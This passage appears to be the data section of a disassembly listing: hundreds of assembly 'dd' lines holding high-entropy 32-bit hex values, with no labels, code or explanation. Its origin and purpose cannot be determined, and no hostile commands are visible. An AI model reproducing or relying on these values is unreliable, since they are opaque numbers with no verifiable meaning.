		dd 392856D1h, 1BFF8378h, 391F83Bh, 0FF5513CAh, 0A53604E1h
		dd 0AF38AE21h, 26178B6Fh, 8CFA0BC1h, 31078BD9h,	3FA4349Eh
		dd 44537149h, 0C380426Bh, 512A5C72h, 60218525h,	5140DA8Ah
		dd 70212AF9h, 0BC617E16h, 7A02DC92h, 0FC5766CBh, 25535C5Fh
		dd 0B7088F3h, 5A3A7F38h, 0CB3A80B7h, 0E14A800Dh, 80229BBAh
		dd 0AD95019Eh, 39C6B532h, 0BA84EFEBh, 0C0C1EDDBh, 6A7F3A15h
		dd 0E6420BC4h, 5443EF80h, 0DFC06C7Bh, 359719F8h, 85159132h
		dd 18BE460Eh, 0BF506F22h, 94D8DA09h, 0D324C22Eh, 627F725Dh
		dd 60F498F9h, 4E8A4A0Fh, 0F826B173h, 1928E861h,	315E600Ah
		dd 889553FFh, 470ECAACh, 606144B3h, 9FA3F2BEh, 0A5B51089h
		dd 685B0311h, 0C94C81DFh, 5D7D98Bh, 0D28220B8h,	7EF7445Ah
		dd 0F260AEEDh, 852D5D8Dh, 16AFF816h, 0E8E9B915h, 0A38B01F4h
		dd 65117C6h, 0AA532BEFh, 2697AEAh, 9DB51B2h, 0E416760Eh
		dd 0D0A35281h, 9FF9601Ch, 2EEB80F8h, 610203FFh,	0D6342BE3h
		dd 0E1ABBC12h, 94DA6A59h, 4AC018C8h, 4DBA8C6h, 4D9D0B56h
		dd 0FA3FAE2Fh, 5C0F1723h, 90724CCh, 3A01C9EBh, 1DB2BBF6h
		dd 14D2630h, 82B6FEF6h,	0CEDEEAD6h, 10B205Ch, 50C0FF8Dh
		dd 0F0E1B350h, 0EC9E2434h, 0FFB100DCh, 2A4A4C8Bh, 8E2D3F94h
		dd 0BB5371D0h, 7D7E8C2Dh, 95D19D70h, 0B52FFDC7h, 0B2340347h
		dd 92E1F709h, 8160E426h, 0A79AD109h, 7202D724h,	1EE21410h
		dd 2A20EA41h, 0F9A5B5BCh, 8E3700C0h, 0A4DF258h,	0AD3F0009h
		dd 891519DAh, 575850C2h
		dd 0E36D06B4h, 988D8B5Bh, 0E0A23C82h, 9A1A55Eh,	0DA0E899Ah
		dd 0DC857C58h, 1251E597h, 4C18E3CBh, 8F75C03Dh,	1413FBF8h
		dd 0B38B0F90h, 7614F392h, 53105163h, 0E914775Bh, 0BB5F1893h
		dd 84268D6Fh, 0FE42CB32h, 0D31D4A7Fh, 292F70EEh, 7BB15F0Ah
		dd 5C2FA434h, 1570F68Eh, 4A3108E1h, 51D7201Ah, 8900BD5Eh
		dd 7DD5FB3Ah, 1E4E6695h, 0C154E5C2h, 566FA763h,	9B282BAEh
		dd 0B73BE127h, 0D40A031h, 0E97A2FC7h, 0B725D844h, 5C62C7D8h
		dd 39950909h, 1015590Ah, 0CA8D2FF2h, 7902822Eh,	0C5552917h
		dd 4F3F12C6h, 71A42BBDh, 0E303BC14h, 5027652Ch,	7DCCA155h
		dd 8C1BACBBh, 0D9DA3ABFh, 0D490A527h, 0D5001E7Eh, 5649D822h
		dd 135A8D0h, 0B231574Eh, 6B5AB0C4h, 6A2ECC9Dh, 318A00C5h
		dd 8CAE6F4Fh, 25CFB086h, 85CD05B1h, 0CB601CE4h,	0E602AC7Ah
		dd 5B0330E5h, 2EE672h, 12DA9C4Ch, 9E29BC7Dh, 9DE8C0E6h
		dd 95330122h, 0EDED9EB3h, 2360049Bh, 5AB1C18Dh,	10F1A77Ah
		dd 0A95EE549h, 78F35EEDh, 0D4F8D45Eh, 0B96AF933h, 3364C9CCh
		dd 0B96E4A9Bh, 0B5269C8Dh, 5633192Fh, 0AA1357A9h, 74AEC684h
		dd 7DAEB52h, 7EFDFC93h,	5235F709h, 1598563Bh, 0BF0FA90Dh
		dd 2D8B6A36h, 92FFB5D7h, 0CA286019h, 6C7075E7h,	0F9BB3E02h
		dd 5E21F879h, 84DD6923h, 0FCAA197Fh, 8D17C03Eh,	4B5A4BF5h
		dd 920FCD8h, 5D5F3937h,	15912C35h, 0EE303B85h, 20114962h
		dd 5EE2C54Ch, 8451B5h, 0CA55E1ECh, 9725E517h, 236E2B7h
		dd 572D69EBh, 1D44164Dh, 0A5E7BA60h, 82045F7Bh,	89967BEBh
		dd 0C85C9AEBh, 0F0D5C016h, 0CF2580ECh, 5F53E263h, 0B1803DBDh
		dd 0D2B097Eh, 55951A01h, 7C71F624h, 52646A97h, 0ACB49F80h
		dd 8ED90718h, 6145A44Ah, 41DB7FD8h, 2F3CCAE3h, 9D87532Ah
		dd 0AB1121A5h, 0D08B7C3Bh, 205D10CDh, 0F88A9609h, 695F0487h
		dd 94C0CF02h, 355825Ch,	49AD3C7Ah, 3527C0B0h, 54E7432Fh
		dd 0DAA96E38h, 51841779h, 0FDB85FF5h, 762B2FA2h, 0B5081A42h
		dd 0BF68C85Fh, 0E87E1EBAh, 82B7A729h, 0FC190B04h, 0E51E71BAh
		dd 132B0925h, 4F5A7AC6h, 5EC16AACh, 49D98BD0h, 4EF70137h
		dd 0E8352E12h, 4BEC17A0h, 27ED8A2Fh, 0F6145E6Fh, 49245B7Fh
		dd 56C94D1Ah, 0CB6DE98Eh, 0C6A34041h, 367B55C2h, 1E1E770h
		dd 5902C13Eh, 2FEB2706h, 8A00062Dh, 0F8457AB9h,	0C5394BE9h
		dd 0B841A909h, 19A527D1h, 8B6263F6h, 677F40C1h,	95749503h
		dd 0C0289CD4h, 669453EAh, 0B5DF6F02h, 0D7BF0F3Dh, 0FD8AB0A2h
		dd 5960B2C1h, 0A1C53FC3h, 2DF289BBh, 0E07EB9BEh, 9348C578h
		dd 32F11098h, 15BD290Bh, 6FF762FDh, 78CC4009h, 4850D780h
		dd 0CD6B8194h, 2498DE48h, 51991668h, 17179F4Fh,	0F0A0E6ECh
		dd 53343A1h, 8D315392h,	5FADD2D1h, 8B12225Eh, 102578ACh
		dd 9D891DEAh, 5025EB59h, 0B30AD2C6h, 918840EAh,	0F08B184Bh
		dd 0A087A64Ah, 0F55F1FFFh, 9A29A531h, 9BD15E7Ah, 17158026h
		dd 466F5D6h, 7C72B62Eh,	0A2ECB8CCh, 0F9BDDD75h,	0D8934780h
		dd 100B8EB0h, 5B2779BDh, 0A2C8E3F1h, 5E610B04h,	0D1F3026Ah
		dd 9C874870h, 0D8822597h, 0C0F50E96h, 4A8A90F2h, 5409E8DDh
		dd 9F45F73h, 0A218517h,	0D73628AFh, 7C0765FEh, 0CBFE930h
		dd 249F5908h, 429D3130h, 0C0AF7EFBh, 0C2C37BA6h, 76488809h
		dd 0A044FDh, 99BB7D0Bh,	0EEF06706h, 40FF267Dh, 6DE7721Ch
		dd 0CE4B3900h, 0CB81887Ch, 0B2773EF6h, 0E35B5F92h, 22C648DCh
		dd 8DF39F0Ch, 0A2E4922Fh, 2883B3F8h, 6D01990h, 0E2F626C6h
		dd 111A301Dh, 32E06A0Bh, 3B225DEFh, 14D70BB7h, 2F112114h
		dd 0CC085569h, 9865A59Eh, 76D05450h, 1B3F1246h,	0CA08BB51h
		dd 0EF800908h, 0A4FFC804h, 0F120B5CCh, 0E781902Ah, 9F43BF10h
		dd 0CC3C1E25h, 21F65F7Dh, 7A08F290h, 25D39720h,	0D6370981h
		dd 4C5F9955h, 26B0708Eh, 5770E6h, 71E4837Bh, 71B5DC8Ah
		dd 9D338282h, 0BE310C59h, 0C24A5173h, 4F765694h, 5B252310h
		dd 0D3C14F5Ch, 3100A20Bh, 0E4B7595h, 97F99488h,	0E8528F04h
		dd 408538DCh, 0AA81EA2Bh, 0F888F82h, 73DF00C8h,	2D19213Fh
		dd 4502D18Bh, 909076E9h, 0B72CA6ACh, 502DD930h,	6C504CDDh
		dd 0AC12C912h, 88BF92B6h, 0B34DF99Dh, 2BC8709Ch, 30692519h
		dd 0D7645014h, 0D2A1D631h, 36202EFFh, 7ACDBF57h, 0B6FAD275h
		dd 52D3023Dh, 7530F35Fh, 8B898CC5h, 263A73FAh, 101193B0h
		dd 92E60D9h, 0B82B16B1h, 943CA13Eh, 8FA5AC04h, 0B1E409Dh
		dd 7A63E6Ch, 0C003E7C8h, 142160D9h, 471231F2h, 22AF01E0h
		dd 19DD5FECh, 3A303156h, 7CDB9D0Bh, 971E8FF0h, 0AC0E771Ah
		dd 0AD0F3BF1h, 48CC710Ch, 12908FEh, 70D8B909h, 1D8B9561h
		dd 8EC0636Dh, 5AB4F2E9h, 2561F00Bh, 0B22DFC81h,	10163B8h
		dd 85200DBBh, 0A5D0ED15h, 0A2C04B2Bh, 87C100A9h, 0DDAB43D9h
		dd 7477DA0h, 793252A9h,	8355805Bh, 0D24E2BDFh, 2E80819Bh
		dd 9642C765h, 0F1DDC212h, 0E0D474E3h, 2416E4Eh,	7AB7D7Bh
		dd 92E3F8A5h, 880D2576h, 2F6B67Ch, 640F4837h, 2F411551h
		dd 14F7D28Dh, 28E2276h,	0CE25B725h, 95359748h, 2DC8D514h
		dd 817500ECh, 25A01BC7h, 40C53BB9h, 1178068h, 74ED0017h
		dd 14046CBCh, 0A2F06B9Fh, 0CDA757B8h, 0ABA92B2Ah, 934FFFB8h
		dd 970A53A0h, 0F060A2B1h, 0D09D61DFh, 0B71F5AA5h, 2A893EFCh
		dd 0F4EDAC2Dh, 5C970C69h, 8EBC7CBAh, 0BCE094C0h, 9F97E22h
		dd 0E6CCBD33h, 9A465671h, 9585B857h, 0A5624794h, 5CDE8B21h
		dd 0FE605146h, 1F563D7Fh, 38454F80h, 682E40A0h,	0BF05A518h
		dd 7B1C84B8h, 0E92603E8h, 4762A554h, 2DC155Eh, 2C1963BBh
		dd 0F4559F3Ch, 0A3B70F37h, 0E46E0681h, 4E1C2E54h, 0C83AA5FFh
		dd 0BD01202Fh, 0FB40086Fh, 0BEF3275Eh, 1C814F93h, 2E599F12h
		dd 0A7EF3070h, 0B52585D7h, 5BFE27D7h, 0B88E5740h, 71B52F09h
		dd 0C1BB8800h, 703B346Fh, 5DE07F50h, 0CD11EA97h, 0BB95E59Ah
		dd 0CB800830h, 684AC372h, 6588F979h, 533C9DBFh,	4EA0DAA7h
		dd 0E6FA3E86h, 6D5CFC2Fh, 5230B5D6h, 0E82DEF42h, 14DE460h
		dd 2B92B315h, 30B8DFBCh, 58029F26h, 0A0B7F46Dh,	0ADDAD991h
		dd 617C17E6h, 512453B5h, 90BD5816h, 0A4E93338h,	0EAA01A6Eh
		dd 0A47BC209h, 0AD4A713Bh, 2A02B061h, 0B3928CE9h, 8D01042Ah
		dd 0DDAA07B1h, 2BE961BAh, 6AA2034h, 0D8737DE1h,	4736604Ah
		dd 0C9D0071Ch, 0C9B531A4h, 6E752B29h, 4935BD47h, 0E994F42Fh
		dd 0A04E1974h, 0C902D1F9h, 8DD90069h, 0FE765B77h, 74954689h
		dd 0CD4CDC6Eh, 88BB4A86h, 0A5AB1A7h, 0F4D9A322h, 4D80FF2h
		dd 4A32AC33h, 18C8E89Ah, 1FA713C0h, 5CE562B7h, 0D956BDE9h
		dd 9079B350h, 0B41D232h, 6DC4C356h, 0AD8A1000h,	0D9B563B7h
		dd 5CA05B8h, 135B2A4Ch,	0A331ABC2h, 743B867Ah, 58EC88D1h
		dd 0BD9D3317h, 0CB81D980h, 30431295h, 8598EB63h, 0A5CC5EDCh
		dd 61349DBBh, 69BA592Dh, 8FE335D7h, 0D3C0E766h,	40E1A5ABh
		dd 0D3E96129h, 0D753BB00h, 0EA219F2Ah, 0BA4B0015h, 0C2E05A83h
		dd 5C096137h, 7541D136h, 9D844BC5h, 0C2A80B35h,	187B33E2h
		dd 16936AD8h, 0E826198Dh, 5C8B2FCDh, 20E94280h,	0EB129346h
		dd 0E3A8962Eh, 956B92EEh, 0FB968312h, 4A092A6Fh, 0A459BBE6h
		dd 534BFF47h, 0C8B3D163h, 710423FAh, 0EE995EEh,	0B7027F43h
		dd 42B903D0h, 89C88801h, 61E515Fh, 30DE1122h, 0D99D0B77h
		dd 0E9D85497h, 189570F8h
		dd 9F38197h, 507699F5h,	0BC48A54h, 35060740h, 0DA0E4A5Ch
		dd 8B178970h, 0EA5F563Bh, 0B900D648h, 0DFA21D3Fh, 4AC59589h
		dd 494B9822h, 0FB799200h, 0FD60C4E2h, 0CCE00504h, 0BC53ADBh
		dd 38D8B9DCh, 64C0FE4Ah, 9F19EB80h, 318B21F3h, 5A70560Ah
		dd 0D4695Eh, 299A3A6Eh,	8001A8DCh, 81D5D300h, 0E03857CFh
		dd 0A09FAC78h, 802915E4h, 11B58F0Fh, 3118870Fh,	0E6A9514Ah
		dd 8C19ACh, 0CF565E08h,	0FF5A368h, 1D998E5Fh, 0B91E162Ah
		dd 4A83ECA1h, 0C47BA9B5h, 8BB567B7h, 8B969E3Fh,	0B9C70701h
		dd 344225C8h, 0AB93107Dh, 861100FEh, 600E2DDDh,	360042A7h
		dd 3B6787AFh, 4ADF1DCAh, 0F246C453h, 830B00FBh,	5271075h
		dd 306D4891h, 17172910h, 7920E95Bh, 128D0362h, 0B38C1809h
		dd 23885B40h, 0C6A4001Dh, 0BFCB47D2h, 0D4122EBEh, 8F305F56h
		dd 1A161E2h, 0F81D8DCFh, 0C6325599h, 7E254056h,	8617F698h
		dd 0C8E4B1A4h, 322C5EF5h, 0E5F5FA87h, 1EFC50B1h, 4DD54B0Bh
		dd 1D060223h, 51B7F625h, 1326238Ch, 30AEDBB7h, 0DEB83D2Ch
		dd 0EBF11400h, 0AA096F40h, 452BF420h, 88A06E22h, 17379D27h
		dd 4E851591h, 8D3F40F7h, 0ADF84167h, 0CC376D2Dh, 441A957Dh
		dd 0AA5D3084h, 33229B8Fh, 0D903BB05h, 98FA480Bh, 0BF1266D7h
		dd 98F24ACCh, 823D9B4Bh, 0AB37E015h, 0F67E5C82h, 660A0800h
		dd 70F80EB5h, 68BA9547h, 0F9D4C474h, 75121828h,	0B9BB687h
		dd 5613459Dh, 0AC735A0Eh, 1D9AD552h, 54518254h,	0A4E65712h
		dd 53E3D00h, 0BBF630B2h, 0CEB00098h, 6185249Bh,	0D109EC22h
		dd 0D515F3BFh, 0DC60B6B1h, 0F03C81F1h, 41C021Eh, 0DEC6F861h
		dd 0A900F44Eh, 3322069Ah, 952C39BDh, 90A86D67h,	70E9FE07h
		dd 6D1BFFF4h, 7F02C046h, 8D4E8952h, 0E064ADFDh,	0C3F29BC1h
		dd 2C5AE8E7h, 2565146h,	357C6A95h, 0FC6B8856h, 242E1078h
		dd 560E7E90h, 51A43D5Bh, 0B1FD95DEh, 0C86A235Fh, 0AEBE6A75h
		dd 0E9CB81C0h, 521B2701h, 6F491F6h, 8F7A8425h, 0EE78D837h
		dd 4A9EC4Eh, 293D70BCh,	1B89008Ah, 105AB0Bh, 18492D9Dh
		dd 53270E5Bh, 0F70E50D1h, 2D6DF300h, 5D3C0A1Eh,	22825E0Fh
		dd 0ED308A2Eh, 0DFD88225h, 0BF575001h, 33643F19h, 6FC0B53Ah
		dd 0F077E6Eh, 101BB9CAh, 1A66194Dh, 0BB046071h,	65EDF26Ch
		dd 0FB00D9B2h, 0DC215EADh, 5F0ECCA0h, 60C7B561h, 0E11028BBh
		dd 0B082D71Fh, 204105DEh, 7EDA0CAFh, 543A899Fh,	9D2B78C4h
		dd 681FC125h, 25B529B5h, 93542AF9h, 85C33871h, 0C14E9BFAh
		dd 90026A1Ah, 1636165h,	840EC901h, 2AE1BCF5h, 60B213EFh
		dd 0CCE9F980h, 82C6795h, 5B2525F8h, 842370FEh, 83D1E809h
		dd 127FE7Bh, 0FF371DEh,	0CA67A8Fh, 25C86124h, 0B5A73153h
		dd 0EC87004Eh, 0DE26BAC4h, 18AA42E7h, 5D89CB2Eh, 3E0FF014h
		dd 0B2A590FAh, 5993E4AEh, 13DB8C26h, 6EB76081h,	0B22E5F57h
		dd 0C8BB0723h, 75E99940h, 0C0EF289Bh, 7BCBB15Fh, 0A8784B5h
		dd 0FC058856h, 0CA2F98EAh, 559156DCh, 0D2F79780h, 25776A2Eh
		dd 946C8B5Eh, 26846B7h,	5D99704Ah, 9A56F885h, 47306DEBh
		dd 1E02E042h, 0BD5AE4B1h, 56F8FA1h, 0FF2B1200h,	0DFA0CB37h
		dd 17E18FD8h, 53FF6A6Eh, 85BA04EBh, 51B54531h, 5FEC6AA9h
		dd 0BB75D402h, 0C0BC2251h, 951244F2h, 694DC6B1h, 35D302CFh
		dd 773D2A06h, 8B80E493h, 0D0EEA6Fh, 400BBF59h, 4CEF26CDh
		dd 8114076Eh, 1C208290h, 0E30ED7E4h, 12B05B95h,	2615B2BFh
		dd 5A3CAAE6h, 9AE4F25Bh, 71E4001Ch, 0A295D7B3h,	270106D5h
		dd 0AB22549Dh, 81F46D27h, 52D98C98h, 0A85BE3BAh, 514EC0E9h
		dd 70E7DFh, 0B69EE33Ch,	6080B1E2h, 0B3A0A390h, 3BF21BFAh
		dd 0C14A04BDh, 20BC82ABh, 5C49F256h, 9D036032h,	5BB51BBDh
		dd 0F972886Bh, 1DAC5319h, 2CD6DDA6h, 0B0CA034Ch, 2C0371D7h
		dd 0E931B5CBh, 0C2534A98h, 12FD073Dh, 5D847F1Bh, 9820EF49h
		dd 0CB6229h, 6F0CFEEh, 6AEAFA58h, 0D7F42B25h, 95895202h
		dd 12B795D6h, 90D0908h,	29910771h, 2110294Ch, 0AF204A17h
		dd 3918BFF0h, 0CB805E72h, 8FB20A4Ch, 4B0FD9FFh,	0A9D8012Eh
		dd 261D71E6h, 2A590BE5h, 0BB50DE54h, 253443E4h,	2543C622h
		dd 1CCC6721h, 222EBB06h, 84B64A78h, 9D330980h, 96552071h
		dd 0EBA52D5Bh, 1CDE90D4h, 41DF9Bh, 0D84F64FDh, 80096D2Ch
		dd 0D66A18DBh, 0CD01DEB7h, 0C873924Bh, 0B92E260Ah, 626AA93Dh
		dd 0A1FDDB72h, 1D199DA3h, 0ABB94A8Bh, 0AE25E5C3h, 5F2FC239h
		dd 4E1C43B7h, 2EB9CF7Ch, 46BF6604h, 45E6AAD0h, 80CB0BE0h
		dd 5B74DF28h, 2B0B8EB9h, 0C0094DC0h, 4CE165B8h,	9280583Bh
		dd 0B7ACBA9Ch, 41CCF7C2h, 0C0989755h, 47C886C2h, 27B70104h
		dd 0B8E1B642h, 0D419946Bh, 0B881ADC1h, 468D006Eh, 5A64023Ah
		dd 9D12299Bh, 53E20559h, 84139A92h, 0E5B8BB91h,	946B6380h
		dd 9C00219Eh, 78D7A199h, 4CEC201h, 4436A995h, 43E7EA3Ah
		dd 3298EAF5h, 9400E06h,	0EA72C5BDh, 9A218499h, 9B2A2F61h
		dd 0C719C8D6h, 0E7E2D147h, 0BB7EFEDDh, 32ACF516h, 0A80D6DBDh
		dd 2C9A284Fh, 0B7DE12FCh, 8887E288h, 4A14A88Ch,	0AB751239h
		dd 1A23CB6Ah, 3BBEBA00h, 4AD564D3h, 0B2DBB660h,	40DD3015h
		dd 5B40E494h, 1B9884D3h, 0B8B4D133h, 5F011FA2h,	2E39E1FFh
		dd 560576B8h, 70B07A77h, 2E71A281h, 22FECE2Ah, 7D139051h
		dd 64599DE9h, 252759C6h, 0ABC5FA8Ah, 0BDE5141Fh, 60A30C00h
		dd 1340C17Eh, 9E0897F5h, 0B004D67Dh, 25875D13h,	0FE143ABh
		dd 254F238Bh, 3F8003B8h, 0A02F7090h, 0FDC6D902h, 0FF58729Ah
		dd 8D4DC910h, 6700237Ah, 0F5B2883Ch, 4AC6CB1Ah,	849BAC5Fh
		dd 8B440119h, 0C9DABFF9h, 0F3C05ED0h, 2013E51Bh, 0FE8B4B17h
		dd 29006BAEh, 7F25291Bh, 69268964h, 21150B76h, 8B9009DEh
		dd 0BB0CD6DFh, 81A1CCCEh, 6716E702h, 516A0AA4h,	0C19280CBh
		dd 56540C0Eh, 0EAE56806h, 4A44FE9Eh, 1AAEB0DFh,	1801912h
		dd 6C01B76Fh, 0E0B90171h, 0C1C36E6Bh, 0EAD8425h, 78C1CBCh
		dd 0A0C51A07h, 0A729519Fh, 12906245h, 2DAB32D5h, 0B16866E9h
		dd 0AD2BB535h, 0CF809630h, 8201E7E9h, 3E3341F5h, 0B75AB77Ah
		dd 0AC5FAE00h, 8C5BBD15h, 0B9C06425h, 4CFD0059h, 3CA38994h
		dd 2E54240Eh, 0D0CA2534h, 42F9F1C7h, 91535590h,	40D9CDAFh
		dd 1A263EECh, 902CFFEh,	894E57D1h, 0DC75DE06h, 5666032Fh
		dd 63BCD692h, 0BD29E2C0h, 0B2135A85h, 0B760090Bh, 10935C8Ch
		dd 50611E0Ah, 1F7744EDh, 80FEE225h, 0E6C9091Ch,	20201B8h
		dd 0A6122D19h, 0F93DD561h, 0EDFA280h, 0C463D742h, 0A624E584h
		dd 0A7B400FFh, 73D957A6h, 90D205B9h, 0EEFE170Dh, 0EDFDE489h
		dd 0EF1D352Fh, 0D8B96B23h, 0E4FA1377h, 0CBE2CFh, 0D9AE1265h
		dd 0C5C48D54h, 6C40ED9Ch, 2D26667Dh, 81405BB2h,	0F8135768h
		dd 4112213Bh, 73A884F0h, 0A73DF3FBh, 0B397ECB9h, 0EA341412h
		dd 81993AC3h, 0C27127BBh, 2FEBA17Eh, 42ECA1EDh,	93795C41h
		dd 4950C62h, 0B901EB08h, 44417483h, 6FA3D57Bh, 0F9E605BAh
		dd 98AEF120h, 37BD6175h, 5C3000C4h, 86EDCB37h, 0CC46A138h
		dd 21711645h, 35F524ACh, 8670AFE9h, 25F06C85h, 0C702FBBDh
		dd 715D262Bh, 0E3F474Bh, 626FBB16h, 17EEE303h, 0EE8437E9h
		dd 0A88935DEh, 115F5F7Bh, 0F61C801Bh, 12AF88CFh, 30A84299h
		dd 62BCA0CCh, 0E1EB6000h, 8D19F1Ah, 0F4BAC17Eh,	0F8858FB8h
		dd 0F15FBF0Fh, 21ABF82h
		dd 4CD55F61h, 1D5A7D23h, 92662920h, 0DC77F2B3h,	0C6C90413h
		dd 0F033034Bh, 4DE989D5h, 68F27F0Bh, 6A003AB8h,	323F68DBh
		dd 5A8E0F64h, 3E31F715h, 883A80E2h, 0D108EAD0h,	688401A3h
		dd 0E5F59F1Eh, 7F322F4Dh, 6B4CF5FCh, 134091ECh,	87F32580h
		dd 46D6D256h, 0F6A0118h, 96A97A76h, 8D7F8271h, 0C3F23F9Ah
		dd 7B67D00h, 54BFDC46h,	0AE22DB00h, 0BB8D6829h,	98C40042h
		dd 80965B7Ah, 599DFBE7h, 2C745480h, 0D0624C1Fh,	10AD5EFBh
		dd 1800394h, 4AD1F1BAh,	0C2800A99h, 4DB852FFh, 0A25400C8h
		dd 0E188A170h, 0A633B799h, 0FC9D785Bh, 0AB4A8DA8h, 625AB56Ah
		dd 0C8DF19A8h, 1792BF36h, 1691E05Fh, 0BD71ABA8h, 931B5D35h
		dd 5E0450F6h, 81E2F277h, 7A1BCD04h, 0BD16788Ah,	1C45EF65h
		dd 3ADB04C2h, 56DA18C0h, 0ED59BD03h, 509C40CBh,	6420205Bh
		dd 0E18CBE4h, 0CEC327AEh, 5576D0E1h, 0C7AD2A39h, 49931CA8h
		dd 524A6400h, 17FC3D55h, 4B5ADF0h, 0EA2025D1h, 0E69659F2h
		dd 170BA03Dh, 93230E7Ch, 28012694h, 7FDD8AB3h, 4972547Ah
		dd 0F95A7AB2h, 40EC39h,	22A0D269h, 6B1D035h, 83294F26h
		dd 2FF45425h, 1459A9D3h, 5053D218h, 405200E1h, 11B4108Ch
		dd 984405FCh, 0C5801CF3h, 800F9EEBh, 0E514E2ABh, 24089CB6h
		dd 3FE2D81h, 0B268FEC2h, 40A85696h, 0ADF27852h,	24072F24h
		dd 1EB4D700h, 0F4B09F33h, 1BE0960h, 9E7978C8h, 7C85C8BCh
		dd 459E9C97h, 0E3C1401Ah, 97DA50A1h, 43E87CE3h,	0ACD8DA0Dh
		dd 620DB2EFh, 0A4A94146h, 13307E6Ah, 69E0CBAFh,	80FF99FFh
		dd 75AA4C6Bh, 5FE64031h, 3E7AAD00h, 3DEE69A4h, 215B9D47h
		dd 0C926D888h, 2B5F5889h, 4FB555EAh, 5B8EB0A5h,	5E45003Ah
		dd 0F4E17DC9h, 0EE1EDF81h, 0E5E59608h, 4251183h, 0B598D89h
		dd 5ADCE6BAh, 491E8CC1h, 81BAB92Eh, 48AB90A0h, 45E5043Ah
		dd 0D55B0B1Ah, 64A64ABDh, 1959E9h, 5D69BF51h, 5B137CD6h
		dd 15AA9DE9h, 35BCEEEAh, 5E631748h, 4F80B7E2h, 0E8820855h
		dd 0E4616F01h, 60F4C86Dh, 0B515DA7Ch, 15BCDE1h,	81F00E13h
		dd 4C3DBBEAh, 67B85BD0h, 79063510h, 0A061E6FFh,	0E5ECE965h
		dd 36642B50h, 4069F6BFh, 2B335805h, 40F01AC2h, 2F38C4EAh
		dd 44DC5A4Dh, 50B7C06Eh, 3BD0033Ch, 45323A81h, 85448419h
		dd 10662D70h, 0E44CD9E9h, 0C2C84E8Bh, 3011394h,	4F993C40h
		dd 0EA75C206h, 589F8B07h, 832A0912h, 5B61F8D3h,	0D1030C1Ch
		dd 0A6D208Dh, 9508ED4Dh, 12831112h, 6318F64h, 303EC483h
		dd 4C8B51B8h, 81102405h, 1418B0A9h, 243359B5h, 165DC3C0h
		dd 248ACC09h, 27D6578Ah, 0B8AF6864h, 89FA4AA9h,	27EA2B4Fh
		dd 0BCD0C419h, 82A17412h, 12472B3Dh, 56128DD3h,	58D58B36h
		dd 648CA263h, 0DA6DA2C6h, 5FA4272Ch, 6F43F04Fh,	59B4A20Ah
		dd 0AF21B587h, 0A9CB19DBh, 530E3AD5h, 3CEF5161h, 26FD8014h
		dd 40145Fh, 0B659123Eh,	0C4B8B37Bh, 53A40626h, 0DC17AF38h
		dd 13FFCBC3h, 98805F82h, 0EB39C06Fh, 0A4C98EF4h, 4BADA015h
		dd 0DC3CB9h, 0B313D9F6h, 6B55A659h, 176DCE00h, 5B36EA06h
		dd 3CD200BDh, 386853C9h, 290E14F1h, 61322BC1h, 0E4A8A27h
		dd 3A7C8E8h, 3B5EF6C7h,	40B0587Ch, 9A000568h, 81B42C46h
		dd 5020CFh, 4A151102h, 0FE1CA693h, 7C093Dh, 0E3B1966Ah
		dd 1E0836h, 248057E9h, 0AB10446Ch, 7BBBC100h, 7CC65B42h
		dd 0F630004Fh, 79BA57B9h, 6C3A34CAh, 3FCB003Bh,	0B7A59512h
		dd 803A3FB4h, 68C83E80h, 22BBBE99h, 0E507B273h,	7E530842h
		dd 3D9B104Ch, 481751Ch,	0FCBFD636h, 8F089806h, 14C121h
		dd 0F7A4B875h, 4762BD6Bh, 382E3D0Ch, 19425848h,	189CEBC7h
		dd 1CA99DB2h, 0B5AACC06h, 0E2D20011h, 0F73B1B3Eh, 3333469Fh
		dd 3CE08FFh, 3EEAF321h,	0C6A8151Eh, 2B01C98Dh, 2EB3C553h
		dd 688041B8h, 58F7B5FCh, 0B10C266Eh, 1857D00Eh,	0B3FF1B06h
		dd 2EE080B7h, 18C15510h, 94BBCF04h, 7A0C9006h, 0C19A73D7h
		dd 0B666007Bh, 952F633Ch, 8C00872Eh, 7E119217h,	0EBBFD90h
		dd 0FC18E275h, 386CDEE0h, 0EC00D485h, 584C4BB9h, 0AA2BF3h
		dd 8D926270h, 4D57CB22h, 0D35C2700h, 6E1B5312h,	0FC430FA8h
		dd 0EAE05F99h, 68AA7C0h, 332B3006h, 0C408C54h, 7617E068h
		dd 660F9918h, 80AEAFEEh, 2ACC2BE1h, 21DA0F78h, 7E20D27Ch
		dd 9EC220F1h, 0B4ECF500h, 12E41537h, 0F08F8AFh,	0B5C32241h
		dd 0E8C92782h, 816A1022h, 0BE1487D6h, 54325980h, 17D5BF0Bh
		dd 0CBD7AA00h, 61C477BBh, 0B86C012Fh, 87D0A949h, 3B08CCFBh
		dd 0DFE1A8C0h, 0ED1CD78h, 0A191B056h, 0E472407Eh, 27E94D79h
		dd 806CB53Fh, 0D6992F6Eh, 3E941C59h, 0F28FB0D0h, 0BCE07CFBh
		dd 2B8CE457h, 70E65E01h, 0B06AC807h, 368C90E2h,	6019C0E2h
		dd 1E0F9E29h, 0F5A52A0Ah, 0EE81B8F0h, 0CC5979E2h, 0D8BA1180h
		dd 0B8DF6594h, 5185BC06h, 3CE9A514h, 0C500F481h, 0CF61199Dh
		dd 4300C191h, 0D8DF376h, 0C06FFA14h, 0F29F1360h, 7D00F8FDh
		dd 9517930h, 748127h, 6AE94C06h, 0CC3FAE41h, 0E1639000h
		dd 53DE65Bh, 0D792006Eh, 2910EB2Ch, 820085E4h, 6D7234DBh
		dd 326848h, 7DE9A877h, 7664A31Fh, 422A18C0h, 7DBAD7A1h
		dd 374B00F2h, 54D525CBh, 48C01D3Fh, 0A0C736C8h,	7B2B00E6h
		dd 6D0B6C68h, 60308055h, 17065053h, 0C73D007Fh,	58747A64h
		dd 0F20EC99Eh, 28B77Ch,	0AC77CFE2h, 0D00F3E43h,	7BF0641Ch
		dd 4C7F390Eh, 8F68124Ch, 88CB800Ch, 5A9852h, 280F8772h
		dd 687C054Fh, 0B8B6A07h, 0C301E06Eh, 6C434890h,	8190487h
		dd 454004A3h, 98000715h, 50CB057Dh, 1750965h, 3000F75Eh
		dd 4CE77F82h, 47074276h, 709AF922h, 0DBA08D27h,	3F16740h
		dd 5E1AC324h, 14A8F754h, 6F003460h, 81A8F57Dh, 3A225650h
		dd 93807758h, 0EFF2D389h, 0FE1C75D7h, 183D4C52h, 174891ADh
		dd 7FB0883Eh, 30E25648h, 43C3784Ah, 0CE9B00D2h,	58206F97h
		dd 0FA63D4E6h, 0C3CC4758h, 5EE32Dh, 0AF60211h, 9FDDAFEDh
		dd 0CA55419h, 21803D08h, 0E40AFEE0h, 97010E94h,	0C22835Ah
